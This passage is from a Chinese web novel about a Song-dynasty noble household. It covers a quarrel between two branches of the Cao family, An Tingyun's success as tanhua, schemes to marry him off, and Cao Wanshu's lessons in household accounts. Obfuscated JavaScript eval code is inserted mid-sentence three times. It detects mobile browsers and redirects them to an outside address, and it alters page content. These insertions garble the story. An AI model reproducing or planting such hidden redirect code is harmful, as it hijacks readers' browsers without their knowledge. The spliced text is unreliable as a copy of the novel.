邹妈妈跌跌撞撞跟在后面,一路苦劝:“夫人息怒,夫人三思。” 宋夫人只当耳旁风,,到了大房门前,见大门紧闭,喝令两个健壮小厮说:“给我砸开!” 王夫人听得外头喧哗震天,从里屋出来,见宋氏叉腰立在当院,看样气得不轻。 “哎哟,这是作甚?弟妹是要拆了我这屋子不成?”王夫人惊叫道。 宋夫人手指几乎戳到王夫人脸上,唾沫星子横飞:“我呸!你养的那两个天不收地不留的好儿子!还有没有王法天理了?你儿子在外头要谋财害命,泼天的屎盆子倒扣在我家舆哥儿头上,好狠毒的心肠!” “放屁!我儿子几时要害人性命?你红口白牙,休要血口喷人!”王夫人也急了,叉腰回骂。 “害没害人,把曹轸、曹轴那两个小贼给我叫出来,老娘今日定要与他们当面对质!”宋夫人说着,眼珠子骨碌碌往屋里乱瞟,恨不得立时揪出人来。 王夫人的小女儿曹兰书听见外面的动静,从厢房走出来,见这阵仗,连忙拉住宋氏衣袖,问:“婶婶息怒,这究竟为着何事?” “哼!”宋夫人一把甩开,“问你那两位好哥哥去。你也休叫我婶子,我可当不起你婶子。” 曹兰书软语相劝道:“婶子说哪里话,万事好商量,咱们坐下来好好说。您这般大张旗鼓的闹事,外头人看见了难免要笑话的。” “我儿命都快没了,还怕什么笑话。你少在这里和稀泥,快把你那两个好哥哥叫出来,看老娘不撕烂他们的臭嘴!”宋夫人破口大骂。 曹兰书见劝不住,只得含泪道:“婶婶且消消气,我这就去寻他们回来。”说罢,抹着眼泪匆匆去了。 宋夫人白了一眼,走到椅子跟前坐了下来:“你们大房这边可算是还有一个明白人。” 王夫人也不示弱:“你不过欺我孤儿寡母,无依无靠,欺我家官人是老太太抱养的。我好歹是你长嫂,你这般呼喝叱骂,眼里可还有半点尊卑?” “大嫂说这话好没良心。大哥哥虽非老太太亲生,可自小到大,吃穿用度,哪一样老太太偏了心、短了礼?若非老太太心慈,大哥是死是活,是码头上扛大包,是给大户人家当奴才,还是田里刨食儿,都是他的造化,更别提后来承袭这鲁国公的爵位。若非大哥福薄早亡,这爵位,还轮不到我家官人这正经嫡出的血脉呢!” 这话戳了王氏肺管子,她虽然一时语塞,但腰杆依旧挺得笔直,气势上半点不肯认输。 很快,曹兰书哭着把曹轸和曹轸找了过来,两个人也知道自己犯了错,吓得头也不敢抬。 王夫人一见,气得一把揪住曹兰书的头发,劈头盖脸骂道:“作死的小贱蹄子,谁让你把他们寻回来的?你是存心要看你哥哥们挨打受罚不成?” 曹兰书疼得泪珠儿滚落,仍倔强说:“错了便是错了,更何况是差点惹出人命官司,岂能躲着?” “吃里扒外的死丫头,心都偏到别人家去了。滚!别在我跟前碍眼!”王夫人狠狠一推。 宋夫人猛地一拍桌子,一院子的人瞬间安静了下来,曹轸曹轴两兄弟吓得直接跪在地上。 “我问你们,是谁差点儿把姓张的汉子打死的?” 曹轸道:“是…,是曹舆说,他看上那个朱三娘了,要娶朱三娘做外室。张汉子不愿意,开口要五百两银子。曹舆就说,让我兄弟俩把他打死,拖出去偷偷埋了。” “你血口喷人。”宋夫人气势汹汹,眼神像是要吃人,“再不说实话,我扒了你一层皮!” 曹轴也哆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202119|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗦着帮腔:“就是曹舆说的,是他让我们这么干的。” 宋夫人气极反笑:“你们什么时候这么听他的话了?他让你们干什么你们就干什么,他让你哥俩去吃屎,你们也去吃屎不成?” 曹轴喃喃道:“我们又不是狗,吃什么屎啊…” “还知道自己不是狗,那你兄弟两个怎么不干人事呢?” 邹妈妈在一旁看得心惊肉跳,终于觑个空子,上前扯了扯宋氏的袖子,低声道:“夫人,冤家宜解不宜结,得饶人处且饶人吧。闹僵了,大家脸上都不好看。” “没理还要占三分呢,得理凭什么要饶人!”宋夫人眼神凶狠,说话不紧不慢,却很有威慑力,“既然他哥俩不承认,那咱们就去报官,让青天大老爷来断一断。” 王夫人道:“告官便告官,老娘还怕了你不成?” 宋夫人腰板儿一挺,嗓门拔得老高:“我是身正不怕影子斜的,不像有些人,身上背了血债官司,打量着我不知道呢!” 王夫人脸色忽然间变得唰白,方才那要吃人的气势登时泄了大半,慌忙上前一步,想挽宋夫人的胳膊:“好弟妹,一家子骨肉,闹大了谁脸上有光?” “呸!我如今还怕丢人?”宋夫人一把甩开她,“你儿害得我舆哥儿差点送了命,这公道,我今儿是非讨不可!翻脸比翻书还快的东西,方才那威风呢?” 王夫人心知不妙,强堆起笑,对着旁边噤若寒蝉的丫头喝骂:“死人!还不快给夫人端上好的茶来!” “可不敢。”宋夫人冷笑一声,霍然起身,指着廊下几个小厮,“去,这就去开封府衙门前击鼓鸣冤,也替那些屈死在她手里的冤魂,讨个说法。” “弟妹,使不得,万万使不得。”王夫人魂飞魄散,一把攥住宋夫人的手,身子簌簌往下坠,“千错万错,都是曹轸、曹轴那两个孽障小畜生的错,我这就叫他们磕头赔罪,给舆哥儿,给二叔磕头认错,这样可行了?” “不行。”宋夫人眉梢一挑,乜斜着眼说。 “那……那还要怎样?” “我儿身上的伤,就白挨了?” 王夫人心领神会,一咬牙,转身厉声吩咐:“来人!取家法大棒来!今日我非打死这两个作孽的畜生,给弟妹消气不可!” 曹轸、曹轴兄弟俩早吓得面无人色,魂不附体,哪曾想闹到这般田地。 小厮不敢怠慢,递上碗口粗的硬木棒子。 王夫人双手高举,眼一闭心一横,那棒子带着风声,“呼”地就朝曹轸臀股上夯去! “哎哟娘啊!”曹轸杀猪般嚎叫起来,捂着屁股满院子乱窜。 王夫人追打不上,气急败坏地喝令小厮:“给我死死按住。” 一时间,哭爹喊娘的哀嚎响彻整个院子。直打了三四十下,棒子都染了红,宋夫人才慢悠悠啜了口茶,唇角露出一丝满意的笑容,扶着丫头的手,大摇大摆扬长而去。 王夫人心疼得肝肠寸断,扑到两个瘫软如泥的儿子身上,眼泪不停往下掉。又抬眼看着宋夫人远去的背影,眼神充满恨意,巴不得千刀万剐了她。 8. 安亭蕴喜中探花郎 赴龙门才子登程 转眼春闱期近,安亭蕴打点好行装,预备往贡院应试。曹府上下都出来相送,老太太、老爷太太们、哥儿姐儿们挤了半院子,口里尽是些吉祥的话儿。 曹晚书身量娇小,被几个兄姐挡在后头,只得踮着脚尖儿,从人缝里向外张望。 安亭蕴目光扫过众人,一眼便瞧见了那藏在人后的纤弱身影,心头一暖,眉间郁色尽散,唇角漾开温柔笑意。 日头正好,金辉洒落,映得他清俊面庞如玉生光,长睫微颤,带有几分耀目。 “这些日子,承蒙老太太、舅舅、舅母并各位弟弟妹妹照拂,亭蕴感念于心,没齿难忘。”安亭蕴团团作揖,言辞恳切地说。 曹望寄予厚望,如慈父般重重拍了拍他的肩,笑道:“到了那龙门之地,但求才思如泉,笔下生花,一举夺魁。既为自家争气,也叫我们跟着沾光,哈哈…”说着,将手里提着的食盒递上马车,“这是你舅母亲手做的五香松瓤糕,带着考场里垫补些。” “承舅舅吉言。”安亭蕴含笑应了,登车挥手与众人作别。 当天晚上,曹玉书来到曹晚书屋里,姐妹俩躺在床上聊些女孩家的体己话。 玉书忽然问道:“五妹妹,你以后想嫁给什么样的人?” 晚书凝思片刻,说:“嗯…,不求他大富大贵,也不求他满腹经纶,只求他能够对我无微不至就好。我喜欢简单平淡,无波无澜的日子。” 她在书中见惯了大宅子里的勾心斗角,什么妯娌之争、妻妾争宠、兄弟阋墙、奴仆内斗等等。 这些不管哪一件,都是让人头疼的问题,还没准儿因为一些小事就丧命。 如果能够嫁到一家人口简单,公婆都明理的,那就最好不过了。曹晚书是这么想的,但是又觉得不太可能,也就只能想想了。 “那四姐姐,你想嫁给什么样的男子?” “我想嫁的人,要好看,其次是对我好,最好家室也好,这样我脸上也有光。”曹玉书想想,忍不住笑了起来,“我还想让他护着我,你也知道,我这个人,又比较任性妄为,如果那个人可以包容我的一切就好了。其实我也和你一样,想简单快乐的活着。” 晚书侧过身,望着她亮晶晶的眼睛,柔声道:“四姐姐这般品貌,日后定能得遇真心疼你的良人。” 玉书眼神却倏地黯了下来,声音里带着哽咽:“可母亲一心想送我入宫,都说宫门一入深似海,到那时,我害怕我便再不是我了。” “日子且长着呢,谁知将来如何。”晚书握住她的手,“常言道世上本无事,咱们何苦先做那庸人自扰?” 玉书被她逗得破涕为笑,伸手就去呵她痒痒。姐妹俩笑闹作一团,锦被翻腾,青丝交缠,笑得格外开心。 外面巡夜的管事婆子听见屋里动静,便在窗户外头喊了一句:“五姐儿别闹了,快睡下吧。” 姐妹一听动静,连忙将被子往上一提,盖在头顶,躲在被窝里头不敢说话。 过了好一会儿,外头没声了,估摸着管事婆子是走远了,便探出小脑袋瓜来,浑圆的大眼睛提溜转着,你看看我我看看你,又忍不住笑了起来。 “五妹妹,我总感觉你像变了一个人。你以前总爱跟我和大姐姐作对,可是现在,你乖巧又懂事,家里人都很喜欢你。虽然你我不是一个肚子出来的,可是我和你相处起来,比我跟大姐姐在一起还要亲。” 曹晚书愣了愣,不紧不慢吐出来几个字:“嗯…也许是我脑子开窍了?” “噗,哈哈哈,哪有人这么说自己的,傻丫头。” 不一会儿,曹玉书又摸着自己咕噜咕噜叫的肚子,忍不住道:“哎呦…,我晚饭吃的少,现在竟然又饿了。” “四姐姐你等着,我给你看样好东西。”曹晚书一骨碌从床上下来,走到柜子跟前,拿出来一个小筐,放在曹玉书面前。 曹玉书一瞧,顿时欣喜起来:“呀!是玉楼山洞的梅花包子、宝阶糕、鲍螺酥、山药元子,竟然还有雪花酥。” 她忍不住捏了捏晚书的脸颊,“原来你这小妮子,夜夜藏着这许多好东西打牙祭呢。” 晚书只淡淡笑了笑,一时无话。 且说安亭蕴这边。 不久,放榜的日子就到了,曹望和宋夫人,带着曹辕、曹舆、曹轼兄弟三个,陪安亭蕴一起去了东华门看榜。 崇政殿一直到东华门,熙熙攘攘挤满了人群,上至达官贵族,下至平民百姓,都想一睹今年新科进士的风采。 当然,有人欢呼雀跃,也有人垂头丧气,总之就是几家欢笑几家愁,中榜的人全家笑开了花儿,而那些名落孙山的,个个耷拉着脸,阴沉的像烧了十几年的黑锅底。 从第一列开始看,一眼就看见了安亭蕴的名字。 进士一甲第三人——济州安亭蕴。 曹辕激动地叫了起来,连连大喊:“中了!中了!二表哥中的一甲探花,哈哈哈。” “哈哈哈。”曹望捋着胡须,笑得合不拢嘴,眼睛眯成了一条缝,“这孩子争气,日后定有大出息。” 安亭蕴目光炯炯地盯着自己名字,看了半天,小声自言自语道:“母亲,儿子出息了。” 这厢喜气尚未散尽,早被那专在榜下捉婿的豪奴富贾觑见。 一群穿绸裹缎的老爷们,带着一群家丁,饿虎扑食般围将上来。 这个扯住安亭蕴的袖口:“公子,我家有女品貌端方,正堪匹配。” 那个便拽住他的袍带:“休听他胡吣,他家女儿是个麻子。公子且随我去,我家陪嫁良田千顷,东京城里十间旺铺!” 你推我搡,唾沫横飞,把安亭蕴围在中间,堵的水泄不通。 曹望脸上那点喜色瞬间褪得干干净净,这等乘龙快婿的好事,自家那几房丫头还没个定论,倒叫这些腌臜泼才抢了先? 他重重咳了一声,三个儿子会意,忙使出吃奶的力气,连推带搡,护着安亭蕴杀出重围,慌不迭塞进轿子。 轿帘刚放下,马蹄方欲起,一个胖大员外腆着肚子追了上来,扒着轿窗,气喘如牛:“公…公子,金榜题名,人生大喜,何不喜上加喜?我家小女……” 还没说完,后面又追来几个老头,个个争红了眼: “这位公子是我家先看中的!” “放屁!明明是我家先搭的话!” 争执不下,似要动手强抢。 曹望吓得魂飞魄散,一把掀起轿帘,对着轿夫嘶声吼:“蠢材,还不快跑。加鞭!加鞭!” 那马儿吃痛,撒开四蹄狂奔,总算将那群饿狼甩脱。 宋夫人坐在轿中,啐道:“呸,一帮子没脸没皮的,打量着新贵人脸嫩好欺,就想白捡个金龟婿?也不撒泡尿照照自己。” 回到曹府,惊魂甫定。 宋夫人立时将亲生的儿子曹舆唤到跟前。 看他那副吊儿郎当、站没站相的模样,气不打一处来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202120|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,指着鼻子骂道:“我的儿,你须得替娘争口气。瞧瞧你二哥曹辕,头悬梁锥刺股,是个读书种子;便是你六弟曹轼,小小年纪,也晓得在书堆里用功。偏生是你,三天打鱼,两日晒网,心思全系在瓦子勾栏那些下贱去处。眼瞅着来年你二哥也要下场,若他高中,日后轼哥儿也出息了,独独你,文不成武不就,烂泥扶不上墙,你让娘这张老脸,日后往哪搁?” 曹舆浑不在意,嬉皮笑脸道:“娘这话差了。二哥六弟,不都是咱曹家的骨血?他们金榜题名,娘脸上不也有光?再说,人各有命,儿子天生就不是那块料。儿子想好了,等身上这顿板子养利索了,就去投军,一刀一枪,搏个封妻荫子,岂不快哉?” “什么?!”宋夫人脸都白了,一把抓住曹舆的胳膊,“我的活祖宗,你趁早死了这条心,那行军打仗是好耍子的?刀枪无眼,白刀子进红刀子出,这可是拿命换前程。娘就你这一个亲生的肉疙瘩,你要是有个三长两短,是要剜娘的心肝,逼娘去跳河啊。”说着,眼泪便滚了下来。 曹舆见母亲真急了,反倒收了嬉笑,只那惫懒劲儿还在,摊手道:“您看,您嫌我没出息,又不许我去搏前程。儿子这也不是,那也不是,您这不是让儿子作难么?” 宋夫人捶胸顿足:“我宁愿你一辈子没出息,就在我眼皮子底下混着,也不许你去碰阎王爷的勾当。你要敢去,娘就先死给你看。” 曹舆索性破罐破摔,二郎腿一翘:“您依不依的,横竖拦不住。明儿我就寻父亲说去。这军,儿子是投定了。”说罢,起身要走。 宋夫人气得浑身乱颤,指着他背影哭骂:“孽障,不孝的孽障。你是要活活气死我,好让我早早闭了眼,省得为你操碎了这颗心,呜呜呜……” 紫蝶苑。 曹望今日心绪甚佳,多饮了几杯,歪在柳姨娘床上。 柳姨娘只穿了件水红色抹胸,外罩一件衫子,软绵绵地伏在曹望胸前,两人耳鬓厮磨,温存了好一番。 柳姨娘起身下床,赤着脚儿走到案几旁,案上摆着几碟果品并一壶温着的好酒。她执起酒注,先给曹望斟了一浅杯,又给自己也满上。 “对酒当歌,人生几何。”曹望接过酒盅,美滋滋地抿了一口,话匣子也打开了,“今日听主考的严老大人漏了口风,说咱们亭蕴啊,原是该点状元的。奈何生得忒俊俏了些,生生被排到了第三位,做了探花。 哈哈,你道那状元是谁?竟是个六十多岁的老棺材瓤子。考了怕有十几次,胡子都白了才捞着这状元。更有趣的是,听说也有那不开眼的,榜下抢婿,一窝蜂把状元老爷抢回了家,掀开轿帘一看,好家伙!一个胡子花白的老叟,他家那如花似玉的黄花大闺女还在房里等着呢!臊得那家老爷和状元公,两个老家伙你看我我看你,哈哈哈哈哈!”曹望说得兴起,拍着大腿直乐。 柳姨娘也忍不住笑了起来,他又从柜子里,拿出曹轼写的文章给曹望看:“你瞧,这是轼哥儿写的文章,今儿还被薛先生夸了。说他文章深刻透彻,行文舒展自如。” 曹望接过看了看,连连点头,欣慰地笑了笑:“不错,的确不错。日后若是轼哥儿也能金榜题名,让我高兴高兴就好了。” 柳静钗又问:“老爷,咱们晚丫头的婚事,您有打算了吗?” “她大姐姐四姐姐的婚事还没有着落,你急个什么劲儿。亭蕴中了探花,我想着把大姐儿许配给他,这样咱们家也能沾上点光。” 9. 你给我家做女婿吧 柳姨娘悔失佳婿 柳静钗怔愣了半晌,才回过神来,难以置信道:“您不是说要把晚丫头许配给亭蕴吗?怎么如今又变成金丫头了?” 曹望打了个酒嗝,酒意上涌,浑不在意地摆了摆手:“嗐,此一时彼一时罢了。当初我是提过晚丫头,可你不是嫌他是个穷酸举子,家底单薄,死活不乐意么? 再者,那时候我是打定主意要把大姐儿许给襄阳王的,谁成想,大姐儿跟襄阳王的婚事黄了。” 他又咂咂嘴接着道:“如今倒好,亭蕴一举高中探花,前程无量。大姐儿的年纪与亭蕴正相当,郎才女貌,说起来也算是天作之合。 晚丫头还小呢,离及笄还有两年的光景。亭蕴已是弱冠之年,又有功名在身,汴京城多少双眼睛盯着他,万一被别家捷足先登抢了去,咱们就是肠子悔青了也没用。” 柳静钗心里五味杂陈,悔得肠子都青了。 当初她嫌弃安亭蕴出身寒微,料定他难成大器,谁能想到,人家是个深藏不露的真才子。 这么一个现成的金龟婿,平白便宜了宋夫人的女儿,她如何甘心。 曹望瞧出了她的心思,伸手拍了拍她的肩膀,温言劝慰道:“好了好了,静钗,你也别恼。咱们的女儿,还愁找不到好人家?日后我定然为咱们晚丫头,寻一门富贵体面的好亲事,包管不叫你失望。” 柳姨娘依偎在他怀中,低着头一言不发,心里偷偷打起了小算盘,琢磨着该给女儿寻个什么样的人家才好。 可思来想去,只觉得安亭蕴是再好不过的人选,只可惜自家女儿年纪太小,整整比安亭蕴小了七岁。 曹晚书如今还是个稚气未脱的小丫头,年龄毕竟摆在那里,总不能让人家探花郎等上她两年。 放榜的喜气还未散尽,官家便摆驾金明池,设宴款待今科新贵。安亭蕴早早起身,将那套预备妥当的官服穿戴齐整。 头上一顶长翅乌纱帽,一侧插了朵碗口大的猩红绢花,身上一领鹦哥绿的崭新官袍,衬得他面如傅粉,眼似点漆,端的是一位风流俊俏的探花郎。 曹晚书一溜小跑跟在他身后,嘴甜得像抹了蜜,连声奉承:“二表哥真真是文曲星下凡,蟾宫折桂,拔得头筹,妹妹给您道喜啦!” 安亭蕴嘴角噙着一抹温润的笑意,回身虚扶了她一把:“五妹妹这张巧嘴儿,尽会拣好听的话说。我能有今日,不过是托了妹妹的福气罢了。” “二表哥忒也谦虚了,这福气可是实打实落在您头上的。”曹晚书眨巴着一双杏眼,望着表哥这身通身的气派。 不知怎地,忽地想起《诗经》里夸赞美男子的句子,“有匪君子,如切如磋,如琢如磨”,可不正是眼前这人活生生的写照么? 曹家几位姑娘,连同曹晚书在内,都央告了长辈,要去金明池开开眼界,瞧瞧新科进士游街的排场。 谁知通往金明池的大道,早被看热闹的男男女女挤得水泄不通,车马寸步难行,众人只得下了车,在人潮里慢慢往前捱。 这一路上,曹望那张脸绷得紧紧的,一双眼睛死死黏在安亭蕴身上,半步都不肯离开。 他防的是甚? 还不是防那些榜下捉婿的权贵人家! 汴京城里多少富贵门第,都盯着这些新出炉的进士老爷,尤其是安亭蕴这般年轻俊俏的,更是众人争抢的香饽饽。 他曹望可是老早就瞧准了这块肥肉,一心盘算着收作自家东床快婿,焉能让旁人半道截了胡? 手快有,手慢无,这个道理他门儿清。 好容易挨到金明池边,安亭蕴随着状元、榜眼一同登上官船,在碧波之上赴宴去了。 曹望这才抹了把额头的冷汗,长长地吁了口气。 金明池外头,除了那些奉命捉婿的豪奴家丁,还挤满了花枝招展的大姑娘小媳妇,一个个伸长了脖颈,踮着脚尖,只为一睹那传闻中如谪仙下凡的探花郎风采。 晚书心里暗暗感叹,这般光景,真是应了王安石那句诗:“却忆金明池上路,红裙争自绿衣郎。” 今年的状元刘掩,是个年过花甲的老学究,胡子都白了,莫说妻妾成群,怕是重孙子都能打酱油了,自然无人问津。 最抢手的,当属贺榜眼与探花安亭蕴。 曹晚书曾听大姐曹金书嚼舌根:放榜那日,贺榜眼刚出贡院,就被礼部尚书府的家丁一窝蜂扛了回去。 尚书大人连哄带吓,当场便将自家闺女许配给他,还拍着胸脯说不要聘礼,反倒贴丰厚嫁妆。 “真是‘十年寒窗无人问,一朝成名天下知’啊。”贺榜眼坐在官船之上,望着满池碧波,忍不住慨然长叹,说罢举起满斟的金杯,一仰脖便饮了个干净。 老状元刘掩捋着雪白的长髯,附和道:“万般皆下品,唯有读书高哇。老夫活了这一把年纪,总算是尝透了这句话的滋味。” 贺榜眼又给自己斟满一杯酒,转头冲着安亭蕴举杯笑道:“安贤弟年少英才,一举高中探花,当真是了不得。” 安亭蕴浅浅一笑,举杯还礼,语气谦和:“贺兄谬赞了。小弟才疏学浅,不及贺兄万一。” 宴罢,众进士大多喝得东倒西歪,被家人仆从搀扶着各自回去。 安亭蕴也带了几分醉意,缓步踱回曹府。 曹老太太提前得了信,忙不迭吩咐厨房熬了浓浓的醒酒汤,守着他咕咚咚喝了下去。 安亭蕴起身对着曹老太太躬身作揖,言说明日便要搬离曹府,多谢府上这些时日的盛情款待。 曹老太太哪里肯依,拍着床沿嗔怪道:“好哥儿,你莫不是中了探花,就嫌弃我这老婆子了?不许走,就在府里住着!” 安亭蕴再三推辞不过,只得暂时应承下来。 原来官家另有恩典,赐下三千贯铜钱,专供这班新科贵胄宴饮交际。 惯例是以状元为首,众人依次做东,日日笙歌,夜夜宴席,名为联络同年情谊,实则是借机攀结人脉,为日后的官场铺路。 可这三千贯铜钱,听着数目不小,真要撒开了花用,压根不够使。想要置办一场像样的酒席,没有万贯家财打底,根本打不住。 安亭蕴心里自有盘算,自家根基浅薄,没必要用这许多银钱去填无底洞。 况且酒席之上结交的,多是些酒肉朋友,能有几分真心实意?倒不如不去的好。 官家赏赐的这三千贯钱,他转眼便在汴京城寻了一处寻常宅院置办下来,又买了一匹脚力尚可的骟马代步。几番开销下来,那笔赏钱也就见了底。 房子既已买下,便再无继续借住曹府的道理。 临搬走的前一日,曹望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202121|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里那点小九九再也按捺不住,催着宋氏去探探安亭蕴的口风。 厅堂之内,曹望看着安亭蕴,搓着手掌,嘿嘿干笑几声,话在嘴边滚了几滚,怎么也说不出口。 宋夫人也在一旁陪着笑脸,一时不知如何启齿。 安亭蕴是个伶俐通透人儿,早瞧出这对夫妇肚里的盘算,索性主动开口,打破了这份尴尬:“舅舅、舅母可是有什么吩咐?不妨直言。” 宋夫人连忙接过话头,脸上堆满了殷勤的笑意:“亭蕴啊,你今年该是二十整了吧?弱冠之年,正是成家立业的好时候。 如今你金榜题名,功名已就,舅母想着给你说门亲事。咱们两家亲上加亲,你早日成家立室,岂不是好上加好?” 曹望在一旁连连点头如捣蒜,其实这番算计,从安亭蕴进京赶考之前就开始了。 他先是特意托人传话给山东安家,邀他来府中住下,为的就是近水楼台先得月。 如今安亭蕴受了曹府这许久的恩惠,这门亲事,总不好推脱了吧? 不料安亭蕴脸上的笑容淡了几分,他早料到曹望属意的是哪个女儿,当下便起身拱手,言辞恳切地推辞道:“舅母厚爱,亭蕴铭感五内。只是侄儿虽侥幸得中,如今不过是个翰林院编修的七品微职,俸禄微薄,根基未稳。侄儿想着再等上几年,待仕途稍有进益,立稳了脚跟,再议婚娶之事也不迟。” 他这番话意思表达得明明白白:眼下,他不打算成亲。 曹望皱起眉头,失声道:“啊?你的意思…是这两年都不娶了?” 他心里可是急坏了! 翰林院编修虽说是个小官,却是清贵无比的差事,常在御前行走,日后的前程不可限量。 这么好的金龟婿,怎能眼睁睁放过呢。 安亭蕴态度十分坚定:“正是,侄儿眼下不打算娶妻。” 宋夫人心里飞快地盘算起来:她的大女儿金书,今年已经十七岁,正是花儿一样的年纪,哪里等得起两年? 待到十九岁,早已过了婚配的好时候,好人家可就难寻了。次女玉书,她是存了心要送进宫里博富贵的,断不能便宜了安亭蕴。 剩下的,便是大房王夫人那边的兰书,还有眼前这个庶出的晚书了。兰书是大房的姑娘,这好女婿千万不能落到大房手里。 这么算来算去,只剩下晚书一个人选。 只恨这丫头是柳姨娘肚皮里爬出来的,不过倒还乖巧懂事,知道孝顺长辈,模样也生得周正,过两年正好及笄。 反正都是曹家的孩子,跟亲生的也没两样,只是讨厌她那个眼皮子浅的亲娘罢了。 这么一想,宋夫人脸上又绽开了笑容:“好,好,过两年就过两年。哥儿有志气,想先立业后成家,舅母懂。只是哥儿啊,”她话锋一转,“到那时候,可别忘了咱们曹家,别忘了你这些妹妹们呀!” 安亭蕴听出了她话里的弦外之音,当即郑重道:“舅舅舅母放心,滴水之恩,当涌泉相报。曹府待亭蕴的这份恩情,亭蕴时刻铭记在心,不敢或忘。” 宋夫人最是惯会察言观色,见好就收,立刻岔开了话头,亲热地拉着家常:“哥儿真是个知恩图报的好孩子,等你回山东见着你爹娘,千万替我们问好,就说我们这边府里,上上下下都惦记着他们呢!” 10. 曹晚书学账济亲 自那日起,曹晚书并几个姐妹日日往老太太房中习学规矩。这日学的是管家理账的功夫。 老太太端坐榻上,背后垫着弹墨绫子靠背,两个小丫鬟在旁捶腿。 老太太命人搬来一摞账册,都是往年府中采买用度的记录。她先不言语,只让几个姑娘各自取了一真一假两本账目细细查看。 “祖母,这账目破绽也太显了些。市面上鸡蛋便是最贵时,也不过百文一筐。这一两银子的价,怕是凤凰蛋了罢?”曹金书说罢,掩口而笑。 曹玉书也翻到自己那本,蹙眉道:“一月五百筐鸡蛋,便是一人一日食十个,也得百十号人才吃得完。咱们府上统共不过这些人口,哪里消受得了?” 老太太看着曹晚书和坐在末位的曹兰书:“晚丫头、兰丫头,你们可看出什么来?” 曹兰书怯生生道:“孙女愚钝,两位姐姐说的,便是孙女想说的了。” 晚书将账本又翻过几页,才徐徐道:“祖母,这明面上的虚价浮数,自是容易看破。孙女倒觉得,真正的关节不在这些地方。” “哦?你且说说。” 晚书指着账本一段:“您看这修缮花园一项,三月里支了三百两银子。后头附的明细写着:购太湖石二十块、移栽牡丹五十株、添置石凳六张。单看无甚不妥,可翻到四月账目,同样写着补买太湖石五块、添牡丹十株。既已修缮完备,何须月月补买?” “孙女方才粗算,单这一项,一年多支的银子就不下五百两。这还只是明账上的,若商行与管事的有勾连,虚报数量,只怕十倍于此也不止。” 老太太默了半晌,惊叹道:“好个玲珑心肝的丫头。” 说罢命丫鬟重新上茶,细细讲起这管家账目里的乾坤来。 晚书听得入神,豁然开朗。 从前在现代也学过会计,但是从未想过背后还有这般天地。 当夜,晚书伏在小炕桌上,就着烛光翻看那些账册。 这些陈年旧账里,藏着许多往事。 譬如哪年府里娶亲、哪年修建别院、哪年灾荒减了用度等等,倒像是一个家族的兴衰实录。 她看得入迷,不知不觉已过了三更。 三个丫鬟早熬不住,在外间榻上睡了又醒,醒了又睡。 最后冷元子实在忍不住,披衣进来劝道:“我的好姑娘,这都四更天了,便是有天大的学问,也不急在这一时。仔细明日头疼。” 晚书这才依依不舍地合了账本。 天才蒙蒙亮,果子便来掀帐子:“姑娘快起,今儿可不能贪睡。” 晚书迷迷糊糊翻了个身,嘟囔道:“又是什么道理…?” “老一辈说,社日睡懒觉,一年都昏沉呢。”果子一边说,一边将人从被窝里挖出来。 冷元子端来温水服侍洗漱,又打开妆奁,取出一根五彩丝线编的细绳,上头串着瓣晒干的蒜头。“姑娘低头。”她说着将绳子系在晚书颈间。 晚书对着镜子照了照,哭笑不得:“这又是什么讲究?” “辟邪的。”梅子从外头进来,手里捧着新折的桃枝,“今日街上有社戏,热闹极了。大姑娘、四姑娘都去瞧了,咱们也去吧?” 左右无事,晚书便应了。 一行人出了角门,长街上人声鼎沸。 路旁搭了戏台,演的是土地公巡春。远处空场上摆着香案,供着三牲果品,几个乡老领着众人祭拜。 曹晚书这才明白,原来春社是祭祀土地神的日子。 坊间百姓凑份子买酒肉,祭罢便分食,谓之“散福”。 晚书看了一会儿,忽见人群里闪过一个熟悉身影。 那人骑着匹青骢马,神色匆匆,仔细一看,是安亭蕴。 “二表哥这是往哪里去?” 安亭蕴见是她,连忙下马:“是五妹妹啊。家母旧疾突发,我正要去请大夫。” 细问之下才知,安亭蕴今春刚将父母从山东接来京城。 他母亲曹氏患有怪病多年,起初只是腰背酸软,渐渐直不起身,如今已卧床不起。这几日病情加重,时昏时醒,看了许多大夫都不见好。 晚书心下恻然,她闲来无事,倒是翻过很多医书,便道:“表哥若信得过,容我去瞧瞧姑母可好?” 安亭蕴正愁寻不到名医,闻言忙道:“妹妹肯去,自然是好的。” 安家赁的宅子在榆钱胡同,是个一进的小院。里面收拾得干干净净,墙角还种着几丛晚香玉。 进了房门,床上躺着个妇人,面容憔悴,双颊凹陷。 “这是二舅舅家的五姑娘晚书。”安亭蕴俯身温言道。 曹氏喘息着打量晚书:“好孩子,难为你来看我。”说着突然咳嗽起来。 晚书忙上前为她抚背,这才发现,曹氏的后背是佝偻着的。 “姑母这病,可是午后发热,夜间盗汗,遇阴雨天便加重?” 曹氏连连点头。 